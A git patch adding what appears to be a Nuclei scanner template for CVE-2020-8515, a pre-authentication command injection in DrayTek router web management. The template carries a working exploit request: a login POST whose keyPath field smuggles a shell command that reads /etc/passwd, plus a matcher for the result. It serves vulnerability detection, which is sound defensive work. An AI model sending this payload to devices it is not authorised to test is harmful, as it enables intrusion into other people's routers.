From ee82f8364e49a10a4a9eb72941779290192adea9 Mon Sep 17 00:00:00 2001
From: PikPikcU <60111811+pikpikcu@users.noreply.github.com>
Date: Thu, 28 Jan 2021 15:30:20 +0000
Subject: [PATCH] Create CVE-2020-8515

---
 cves/2020/CVE-2020-8515 | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 cves/2020/CVE-2020-8515

diff --git a/cves/2020/CVE-2020-8515 b/cves/2020/CVE-2020-8515
new file mode 100644
index 0000000000..5eed7ce4ae
--- /dev/null
+++ b/cves/2020/CVE-2020-8515
@@ -0,0 +1,28 @@
+id: CVE-2020-8515
+
+info:
+  name: DrayTek pre-auth RCE
+  author: pikpikcu
+  severity: critical
+
+  # References:
+  # https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
+  # https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
+
+requests:
+  - raw:
+      - |
+        POST /cgi-bin/mainfunction.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+        action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body